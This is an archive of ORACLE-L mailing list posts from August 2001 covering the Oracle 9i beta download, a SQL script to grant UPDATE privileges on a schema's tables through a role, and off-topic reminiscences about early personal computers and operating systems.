We some how got on, I am in the process of downloading it now, I was just having a very difficult time finding it:) BTW, I love that sig!! KK -Original Message- Spence Sent: Thursday, August 02, 2001 12:26 PM To: Multiple recipients of list ORACLE-L It is fairly difficult to get on the beta team from what I understand, it is too late at this point. Do not criticize someone until you walked a mile in their shoes, that way when you criticize them, you are a mile a way and have their shoes. Christopher R. Spence OCP MCSE MCP A+ RAPTOR CNA Oracle DBA Phone: (978) 322-5744 Fax:(707) 885-2275 Fuelspot 73 Princeton Street North, Chelmsford 01863 -Original Message- Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Christopher Spence INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
Ah, but lack of knowledge seems to indicate that you have been worshipping a false god(dess). so I will leave before being found out and suitably punished :) From: Scott Shafer [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: Re: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 09:01:05 -0800 The Cult of the Goddess does not take divine abandonment lightly... --Scott Shafer, High Priest San Antonio, TX Rachel Carmichael wrote: that settles it, I'm quietly packing up my desk and leaving the list. I don't belong here. I vaguely remember working with some of this stuff but not all. I either: 1)never had a memory for anything 2)was sleepwalking through most of my life 3)am not and was not a nerd 4)all of the above I think I'll lurk for awhile _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Scott Shafer INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: grants to schema query
Try 1. creating a role for the updates. 2. running a query against the dba_tables table that will generate all the grants neeeded to the role. 3. Spool that query to a file. 4. Run the resultant file as the schema that owns the tables you want access granted on. For example: -- Log in as your friendly DBA and create the update role called upd_role. connect dbaid/password@database Create role upd_role; -- Grant the role to the user who needs the privledges grant upd_role to USER1; -- This will generate a script called C:\grant.sql that contains all statements neccessary to grant update privledges on the tables belonging to 'SCHEMA1' to the Update Role, upd_role. Spool C:\grant.sql; select 'grant update on '||owner||'.'||table_name||' to upd_role;' from dba_tables where owner = 'SCHEMA1'; Spool off; -- connect to SCHEMA1 and run the script connect schema1/password@database @c:\grant.sql You could also bypass the use of a role and grant directly to the user. But, if you use a role you can give the authorities to any user without having to regenerate the script. REMEMBER... If you add new objects to SCHEMA1 you need to grant them as well. This will not automatically get all objects for now until the database dies. -Original Message- Sent: Thursday, August 02, 2001 10:01 AM To: Multiple recipients of list ORACLE-L Hope there is not an obvious answer to this. I want to grant UPDATE priv to all objects in a schema to a user. Do I need to grant to each object or can I somehow wildcard all the objects?. What are my option(s)?. I'd appreciate example grant statements! Sean :) Rookie Data Base Administrator Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K [0%] OCP Oracle8i DBA [0%] OCP Oracle9i DBA Organon (Ireland) Ltd. E-mail: [EMAIL PROTECTED] [subscribed: Digest Mode] Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA Nobody loves me but my mother... and she could be jivin' too. - BB King -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: O'Neill, Sean INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Lange INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
It was a magical box to a middle-aged me as well and looked much better than my ugly metallic Kaypro. -Original Message- Sent: Thursday, August 02, 2001 11:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Norwood Bradly A INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Jaques, I know that Orange County is an entity in it's own right but for people in other parts of the U.S. and the world, Los Angeles is much more of a land mark than Orange County. That's why I said sort of a suburb. Cherie waiting for others from Orange County to start talking about how distinct from L.A. and identifiable it is Jacques Kilchoer Jacques.Kilchoer@To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] quest.comcc: Sent by: Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: [EMAIL PROTECTED] Largest 08/01/01 05:07 PM Please respond to ORACLE-L -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] When I worked at Rockwell in Anaheim (Southern California - sort of a suburb of Los Angeles), I used to drive right past a strawberry field every night on my way home from work. ... It was strange to find a strawberry field in the middle of the city. That was fifteen years ago. I'm not sure if it's still there - what with the high price of real estate in that area. Suburb of LA? Orange County, California, USA is more than an appendage of our large neighbour to the north! (splashing cold water on my face to quench the steam escaping from my nostrils) There are still strawberry fields in Orange County, as a matter of fact there's one less than 2 miles from my house. Of course, it's a little disconcerting in this part of the world to walk three blocks from a 20-story building (which, in parentheses, hosts the local Oracle sales office) and see a large agricultural field. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
One of those Compaqs was the first portable I took home from work 7 years ago! It sat in my basement until 3 years ago when I lugged it back - we were moving and I didn't want to be responsible for it any more! (Gosh, a 1200k modem?) Same company that is *still* using PL/1 as it's mainframe programming language and APL in the actuarial department. Linda -Original Message- Sent: Thursday, August 02, 2001 10:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Seley, Linda INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
young whippersnapper! quiet down and let us old fogies reminisce :) From: Kevin Kostyszyn [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:39 -0800 yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Hahahah, that's a good idea, that would very funny!! -Original Message- Michael (TEM) Sent: Thursday, August 02, 2001 2:12 PM To: Multiple recipients of list ORACLE-L Hmmm...I had one of those old Compaq's, too. I was a consultant at the time, and my partner had an Osborne. We'd be going from San Diego to Savannah via DFW, and we'd have to strap those two monsters to a set of luggage wheels and haul a** through the airport to make the connection. You could have fun with that, y'know. You could gut it and install a SBC (Single-board computer) card into the backplane with a 40G disk and you'd have a nice modern machine - well except for the monitor. But I can imagine bringing that into a roomfull of laptops and watching their users smirk until I fired it up and the lights dimmed... --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 9:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Oracle Beta
to be quite honest I can't be sure what it is. When I hit the link in the email it opens up, but before I hit it I have to be logged on as a user with privelages to get to it. I am pretty sure that if you just go to OTN there is a link for a sun download? KK -Original Message- Dandekar Sent: Thursday, August 02, 2001 1:11 PM To: Multiple recipients of list ORACLE-L What is it? I mean the URL to 9i Beta for Windows. No Sun of Mine (no test sun machine available right now..) -Rahul - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rahul Dandekar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Famous? OY! Ivan -- we usually manage one list get-together at the conferences. I'll gladly swap stories over beer with you. I work at a multi-media music company with an online presence (that's a quote from marketing). The average age here is about 23. I *think* the CEO is older than me, but if he is, it's close. My 'hood is NYC, born and raised in Queens, second-generation Russian-American Jew (although according to an Anthropology teacher I had in college, Jewish is an ethnic background in and of itself) From: Norwood Bradly A [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 09:16:32 -0800 Thanks, Ivan. Most of us are probably from some 'hood. Mine was the barrio of East L.A. as a first generation Mexican-American. The great equalizers are self-education, self-esteem and self-motivation. When you are famous like Rachel or Steve Adams, we expect free autographs on your books. -Original Message- Sent: Thursday, August 02, 2001 11:36 AM To: Multiple recipients of list ORACLE-L I have to agree with Kevin, this thread is great. However it makes me feel like I really am in the wrong profession, at the wrong time in the wrong place :( . In 1981 I was 5 years old and I've never really touched a computer until about 3 years ago, let alone know any of the answers to any of those questions. You guys are great! I have learned so much from this list. Not only the technical stuff but learning about the IT and dba culture from you all is invaluable! I went to school for psych, so some of this old school talk that us young ones would hear from college cis professors I unfortunately never received, much less the knowledge of that curriculum. I am speechless when I step back and look at this list and realize how diverse this list really is. I mean we have list members from so many parts of the world and from so many different walks of life. Who would have ever thought that this young Puerto Rican punk from the 'hood would have anything in common with you all? I can see us all now at a bar after an oracle event, me in my baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone enjoying and sharing a common bond (dba, oracle) that brings us all together. Most of you all's peers wouldn't even look our way or have two words for me and my friends in our natural environment. But I think I'd feel just as comfortable around you all as I do at a block party in Bed-Stuy or chilling with some of my friends in Liberty City, Miami. All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire and respect you all). Thanks for everything. Ivan _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
I sure hope somebody is capturing this thread! This is a history of computing as seen by the people in the trenches! Now... 3) What company made the first Portable (luggable) computers? It was either Kaypro or Osborne. The Ozzy had a little tiny 40-column screen and dual 5.25 floppies. The Kaypro had an 80-column screen and dual floppies. If I remember correctly, Microsoft bought QDOS from Seattle Computer Works for around $50k so they could have an O/S for IBM's first PC. I cannot remember the name of the guy who owned CP/M, but they would not sign IBM's non-disclosure agreement, and sent IBM to Gates. MS had nothing to lose so they signed and the rest is history. --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 10:41 AM To: Multiple recipients of list ORACLE-L The cartridge that came with the 2600 was COMBAT. It had a tank game and a biplane game. If they added another cartridge, it must have been in the later years. And the whole package cost $150 Now I remember... 1) Who started Atari, what else did he start? 2) What Graphical computer preceeded the Mac? Lisa, thats easy. I remember seeing a demo of it. I was totally amazed. Everyone was drooling over it. It was big and expensive, and then the Mac came out and they were selling like crazy. Everyone had one except for me. CP/M Control Program for Microcomputers - It was the first big OS. 2.5 What was the first Big Time Word processor that eventually lost out to Word? WordPerfect. Not sure they lost out. I believe it was a mix of they didnt push there Windows version like MS, and then of course, the MS marketing machine. They were another company that had 90%+ of the market and thought they were the king, untoucable and arrogant then along came MS with Word. Its been the same story over and over with every company that has gone up against MS. And Palm/Handspring is next... 3) What company made the first Portable (luggable) computers? Oh I cant think of the name. But the metal case was sort of a greyish blue, and it had a lid which was the keyboard. And it had a little monochrome monitor, and I believe it was 5 1/4 floppy drive. The first MAC (128K, 400K floppy) had no handle, I had one(still have it) 4) What was Special about the inside of the Mac case? It has the signatures of all the creators. 5) Who wrote QDOS? sigh, I agree, the good ol' daze [EMAIL PROTECTED] 08/02/01 06:57AM On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter crayon: -Was CP/M the OS that Bill Gates bought just before making his big deal with -IBM? Can't remember. - -Regards, -Patrice Boivin -Systems Analyst (Oracle Certified DBA) - - -Original Message- - CP/M [or is it CPM i've seen it written both ways.] - - AFAIK, no. it was an OS from a small local company called QDOS [Quick and Dirty Operating System] if i'm not suffering from too much bit rot. CP/M was the other OS in contention. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Oracle Beta
Yes, please. : ) Patrice Boivin Systems Analyst (Oracle Certified DBA) Systems Admin Operations | Admin. et Exploit. des systèmes Technology Services| Services technologiques Informatics Branch | Direction de l'informatique Maritimes Region, DFO | Région des Maritimes, MPO E-Mail: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] -Original Message- From: Igor Neyman [SMTP:[EMAIL PROTECTED]] Sent: Thursday, August 02, 2001 1:51 PM To: Multiple recipients of list ORACLE-L Subject:Re: Oracle Beta Could you please share, what you found? Igor Neyman, OCP DBA Perceptron, Inc. (734)414-4627 [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing 